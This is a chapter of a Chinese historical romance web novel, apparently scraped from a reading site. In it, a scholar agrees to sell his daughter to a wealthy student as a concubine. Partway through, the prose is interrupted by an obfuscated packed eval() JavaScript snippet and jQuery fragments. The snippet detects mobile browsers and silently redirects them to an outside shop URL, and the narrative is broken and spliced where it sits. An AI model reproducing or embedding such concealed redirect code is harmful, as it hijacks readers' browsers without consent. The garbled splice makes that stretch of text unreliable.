裴盛好半晌才想起阖上大张的嘴。
他是见过世面的人,曾数次跟随阿爹游览京师,目睹了人间繁华,哪怕没亲眼瞧见贵女金枝,也断定此般盛颜的黄时雨绝不亚于宫里娘娘。
当下世人惯以宫里娘娘形容人间绝色。
我的媳妇好美啊。裴盛喜得抓耳挠腮,转身就跑了。
原先许诺的八百两改成了一千两,此外还有绫罗绸缎若干。此番着急回家,便是要同父母商议定亲事宜,最好今年就能完婚。
裴员外自己就有六个姨娘三个通房,此外还有数个没捅出来但是被收用的丫鬟,有这么一个爹,裴盛能是啥好人。
去年还因强抢民女打死过人,最后却不了了之。
他房里伺候的丫鬟无一人完璧,连粗使也未能幸免,进来一个糟践一个,明面上却只有一个通房。
黄太太捏着仅有一个通房的优渥条件骂黄秀才:“便是你这样的破落户都纳过妾,人裴盛才一个通房而已,梅娘嫁过去即是正妻,尔等再挑三拣四的,我便提脚将她扔给马老爷。”
做六十五岁老头的七姨娘就老实了。
裴盛品行不好,但很多事都是关起门做的,故而黄秀才也不清楚具体烂到何种程度。
黄秀才自我安慰,年轻人犯错很正常,毕竟才十六岁,等成了亲男人就会变得成熟起来,梅娘又这般姿色,将来定能获得夫君宠爱,日子不会太差。
黄太太趁机卖好道:“裴家原本点名要的可是晴娘,若非李富贵对晴娘一见钟情,我才舍不得把这么个女婿让出去呢。”
黄秀才徐徐叹息。
这是一场两家都满意的亲事,选了十九作为吉日,届时男方家登门交换庚帖。
黄时雨本人并无太多想法,对裴盛也无特别感觉,唯一印象就是好像一只大花蝴蝶。
然而嫁给大蝴蝶就能去县里,去了县里岂不就随时亲近姐姐,思及此处,心底立时活泛,气色便也愈发鲜活,白里透着粉,素昔浅色的唇抹了胭脂似的红。
却说福喜那孩子,目睹登徒子闯入桑林惊扰黄二小姐,还不等他施展英雄救美的手段,那大蝴蝶登徒子眨眼又跑了。
这件事他也没太放在心上,两天后才于闲聊时无意漏了点缝。
福喜道:“昨儿我跟曹叔逛一天庙会,好生热闹呀,一大群漂亮姐姐在台上扮演神仙,还会喷火呢。”
福生见他愣头愣脑还会说出漂亮姐姐的话,不由笑道:“你懂什么美丑,再漂亮能有我们白露姐姐和素秋姐姐好看吗?”
他也就比福喜大半岁,还不满十三,这种话年纪大的男仆说不得,但他可以,一则年纪小,二则大家相熟。
白露素秋是简珣的贴身大丫鬟,一个十六一个十八,算大人了,自不会同皮小子计较。
此时二人前者在沏茶后者在研墨,白露闻言抿唇而笑,沏完茶款款离开,素秋泼辣,横了福生一眼。
福喜觑了觑少爷,正在作画。
作画时的少爷心情一般都很好,下人们拌几句嘴也不会真的怪罪。
于是,他嘟着嘴道:“我当然分得清美丑,黄家二小姐就可漂亮啦,像仙女一样。”
这话没人反对,他愈发得意:“小满那日,我帮她吓走登徒子,她还遣琥珀姐姐送了我好大一块麦芽糖吃呢。”
简珣飘逸的笔尖微顿,“什么登徒子?”
福喜道:“哦,那天我瞧见一个公子闯进了黄家桑林,贼眉鼠眼地跟踪黄二小姐,料想不是好的,原本打算跳过去揍他一顿,不意他倒先跑了,比兔子还快,而黄二小姐也没计较,我便放过了他。”
素秋噗嗤轻笑出声,“你个憨蛋儿,人家那是在相亲,黄二小姐若是生气那也生你的气,你把人家的小公子吓跑了。”
“啊?”福喜面皮垮了下来,“我,我……又不是故意吓那公子,谁让他鬼鬼祟祟的。”
“小满发生的事,十六你才同我说。”简珣蘸饱墨汁,重新作画,声音凉凉的。
福生连忙对福喜飞去个眼色,福喜似乎意识到了什么,虽还不太懂,但立即上前请罪。
憨蛋儿机灵着呢,察言观色一流。
“素秋,给他记着,断他这个月零嘴。”简珣扔掉笔。
“是,少爷。”素秋含笑应下。
她又端水来伺候简珣净手。
福喜乖乖接受对他来说无比严苛的惩罚,以后再不敢犯。
任何关于黄二小姐的事都要第一时间回禀,莫管大事小事。
人逢喜事精神爽,黄秀才接连解决两个女儿的婚事,如今全身心都投在了幼子耀祖身上。
年近四十才有的宝贝儿子,就是黄秀才的命。
他也曾有得意人生,十八岁院试第三获取秀才功名,乃当年泽禾第一人,岂料此后运气急转直下,接连乡试落榜。
如今已蹉跎了二十余年。
明年将是最后一次尝试,中不了则封笔。
好在他还有耀祖,这孩子机灵,必将为他实现人生夙愿。
其实黄秀才也没那么差,世上中举者毕竟少数,千人中取一的机遇,莫说他四十多还未中,五六十甚至七十也没中的大有人在。
但他确实有些文采在身,当年简夫人在几个秀才里独独选了他坐馆,也不是没有道理。
黄秀才摸了摸耀祖脑袋,四岁小儿骑着心爱的竹马兀自欢笑。
他举目眺望池塘对岸,初夏的泽禾亦有花红柳绿,片刻之后,逐渐朦胧,并非眼眶的泪意,竟是一场细雨洋洋洒洒。
耀祖早就被奶娘抱走,黄秀才身后就是一处草亭,却只身愣愣立在细雨中。
不期然头顶多了一面宽大的油纸伞,这样的高度,不是家里人的。
黄秀才偏过头,望见了含笑的学生,擎着伞与他并肩而立。
简允璋已经比他高出许多。
世间最讽刺之画面莫过如此:右边苍老、落魄、瘦弱、矮小,拮据、丑陋;左边年少、得志、强劲、高大、富有、俊美。
黄秀才勉强笑了笑,“怎么提前回来了?”
距离授衣假还有些时日。
简珣温声回:“今年伯祖父要亲自指点我学问,早些回京师也挺好。”
安国公亲自指点,黄秀才咽下一腔凄凉与憧羡,“好,非常好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345876|152670||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
初次见你,我便知这绝非池中之物,能有两年师生之缘,乃我生平最大的造化。”
“老师何须妄自菲薄,”简珣不疾不徐的声音似有力量,悄然按下了黄秀才满腔翻涌的积郁,“我观近年两次乡试已经大不同以往。”
重心明显偏移《中庸》、《大学》。
黄秀才眼底有微弱火花亮了亮,又无奈一笑,“我是个蠢人,悟性低。”
“倒也无需太高的悟性,晓得上面意思,言上面心之所向,又有何难呢……”
很多事情其实不难,难的是如何跳出迷局,以局外人的视角俯瞰局内人。
黄秀才仅是一个有五两才华的普通人,自然看不破。
却看懂了简珣的意思。
胸腔立时砰砰狂跳而起,他紧张地问:“允璋……你要什么?”
“两千两白银。”简珣轻描淡写。
“我便是把全家老小都卖了也凑不出。”黄秀才自嘲道。
两千两,是真有心无力。
“我的意思是——我给老师两千两白银。”简珣微笑。
黄秀才的瞳孔骤缩,下垂的嘴角不自觉地抽搐。
细雨停,烈日浮空,很快烤干了地上泥水,挽救今年收成。
黄秀才仿佛被什么法力凝固住了。
简允璋要他家的老二——黄时雨。
任谁也料不到这番心思何时起的。
胸口针扎似的难受。
男人玩别人家妻女尚可,自己的送去做玩物,不啻口吞黄连。
无奈允璋给的实在太多,乃黄秀才从前想都不敢想的。
其实只给其中一样,他都会毫不犹豫答应。
从灰心失意瞬间变成即将拥有一切,黄秀才眼眶火热,却不知为何心脏揪疼,自惭不已。
大约是当他一息也不敢耽搁的应下时,简允璋嘴角的笑意吧。
那笑意不止寒,还裹着丝丝不易察觉的轻蔑。
他就这么把女儿卖了。
黄秀才颤抖地问:“什么时候,今晚吗?”
简珣心中微冷,“她还小,明年乡试结束我再要人。”
他真不至于为逞一时兽/欲迫使才及笄的梅娘服用避子汤,以后也没打算让她喝。
简珣道:“梅娘性子倔强,能顺其自然驯服再好不过,什么该说什么不该说,相信老师一定比我更周全。”
“我明白。”
黄秀才感觉骨子里刮起凉风,双手不由自主揣起来,“她自小没被好生教养过,若有失礼之处,你打也好骂也罢,我只求你念在我们师生一场的份上,千万别发卖她,也不能让任何人再卖了她。”
贵妾再贵也是妾,简珣未来的妻子在有理有据的情况下,完全可以请示长辈处理梅娘,但贵妾的孩子虽为庶子却享有嫡子的部分权宜,譬如继承一定的家产,甚至爵位。
简允璋面无表情道:“她这一生被卖一次足矣,我不会再让她被卖第二次。”
说罢,将油纸伞抛至脚下,拂袖负手而去。
黄秀才痛苦地掩面而泣。
一点父女之情,怎敌那功名利禄,半生荣华。